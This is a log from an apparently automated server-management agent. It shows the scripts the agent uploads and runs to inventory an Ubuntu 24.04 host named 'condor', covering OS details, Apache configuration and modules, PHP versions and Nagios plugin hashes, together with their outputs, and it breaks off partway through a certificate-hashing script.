MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-10 22:59:01: Establishing a connection
2026-06-10 22:59:02: Performing Server Status
2026-06-10 22:59:02: 

PUT: /tmp/pkp695072

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-06-10 22:59:02: 

chmod 755 /tmp/pkp695072; /tmp/pkp695072; rm /tmp/pkp695072

2026-06-10 22:59:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
condor

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-124-generic



2026-06-10 22:59:02: 

PUT: /tmp/pkp816063

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-06-10 22:59:02: 

chmod 755 /tmp/pkp816063; /tmp/pkp816063; rm /tmp/pkp816063

2026-06-10 22:59:02: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-06-03T15:41:58
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 29666
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root       29666  0.0  1.0 261192 42892 ?        Ss   06:22   0:05 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-06-10 22:59:02: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'condor',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'reqtimeout_module',
      27 => 'rewrite_module',
      28 => 'setenvif_module',
      29 => 'socache_shmcb_module',
      30 => 'ssl_module',
      31 => 'status_module',
    ),
  ),
)


2026-06-10 22:59:02: 

PUT: /tmp/pkp121914

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-06-10 22:59:03: 

chmod 755 /tmp/pkp121914; /tmp/pkp121914; rm /tmp/pkp121914

2026-06-10 22:59:03: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-06-10 22:59:03: 

PUT: /tmp/pkp311158

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-06-10 22:59:03: 

chmod 755 /tmp/pkp311158; /tmp/pkp311158; rm /tmp/pkp311158

2026-06-10 22:59:03: 


[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.31
[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.31


2026-06-10 22:59:03: 

PUT: /tmp/pkp455281

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-06-10 22:59:03: 

chmod 755 /tmp/pkp455281; /tmp/pkp455281; rm /tmp/pkp455281

2026-06-10 22:59:04: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= dd4b06ffdde547e7ae66453ed8af464f
bin(/usr/local/nagios/libexec/check_ssh)= 4998ed8f57fbf48bb709a91b5f67fa88
bin(/usr/local/nagios/libexec/check_ntp_time)= cdcc9ae74ad304a1103f3b26aa2a4302
bin(/usr/local/nagios/libexec/check_dummy)= 593927625b5adf7f6cc5626cf271b00c
bin(/usr/local/nagios/libexec/check_ssmtp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_pop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_imap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4561ff3ea28b2be1d51e660db0061ecb
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_iwatch.php)= b01bd4ae3be2e8613758159f1891cb1a
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ide_smart)= 70e1d5360c280f5a78a7eaf30fee6e43
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= ab42e148c68a92c9dda556789494efb6
bin(/usr/local/nagios/libexec/check_php.php)= 6a57c97a068e4096b2875dbb469b0322
bin(/usr/local/nagios/libexec/check_ntp)= 9e7ffbfb53e8cb4f0ac3f693770675ba
bin(/usr/local/nagios/libexec/check_nagios)= 80e3c448e3c432a57b36339e22b18215
bin(/usr/local/nagios/libexec/check_overcr)= 7b207d58bc55979ba935ef83cc192e11
bin(/usr/local/nagios/libexec/check_nntp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_spop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ftp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= 21ddd46a28196d76075b7c635555a6cd
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_by_ssh)= b1aa934f5258b2f1708c76a1a6e96a0b
bin(/usr/local/nagios/libexec/check_udp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_dig)= 7b01b47a8c952d611baec6a7004cc24c
bin(/usr/local/nagios/libexec/check_http)= 053039e43a1e34634f3516be01892a42
bin(/usr/local/nagios/libexec/check_nt)= 00a2c24b1de53f52b058cc6ebf430806
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 6f4cf4f1b0f8e29f0e465fbb2506e237
bin(/usr/local/nagios/libexec/check_clamd)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_users)= b55c15f4e1aeb36f902037bfd078d1c9
bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= a4157b7321a21494e347131fe3e78e47
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 6c20e762c6d4ce49fc31b3c0ac28be9e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 64d5374a8c511c9d2a2d199960c2c6f9
bin(/usr/local/nagios/libexec/check_tcp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= cdf54f5ea361ff54adaa5a325bd5e583
bin(/usr/local/nagios/libexec/check_time)= 94da3767ba0be89cb015f6771899764d
bin(/usr/local/nagios/libexec/check_smtp)= d7f2d41ab34b841616e67779411cd4cd
bin(/usr/local/nagios/libexec/check_ping)= bf10c48f916f5eed0d29af7d0e9fd678
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 5eb520cefdc87566ccfc5497bb5fc45c
bin(/usr/local/nagios/libexec/check_disk)= 81a61cb2c2922be54adf5b4b15f5ab3c
bin(/usr/local/nagios/libexec/check_uptime)= affa1adb0f2b5b9c950b8582576c3da2
bin(/usr/local/nagios/libexec/check_icmp)= eb69d9de7971a87698948950a5fd8756
bin(/usr/local/nagios/libexec/check_nntps)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_load)= e9e4c57cca90e17e4aa1721c7e8e8c85
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 65eafce8676b5c74a336c60873a3eef3
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 1b5efef036053881690728bdee7c1116


2026-06-10 22:59:04: 

PUT: /tmp/pkp985497

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-06-10 22:59:04: 

chmod 755 /tmp/pkp985497; /tmp/pkp985497; rm /tmp/pkp985497

2026-06-10 22:59:04: 


status=ok


2026-06-10 22:59:04: 

PUT: /tmp/pkp653206

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

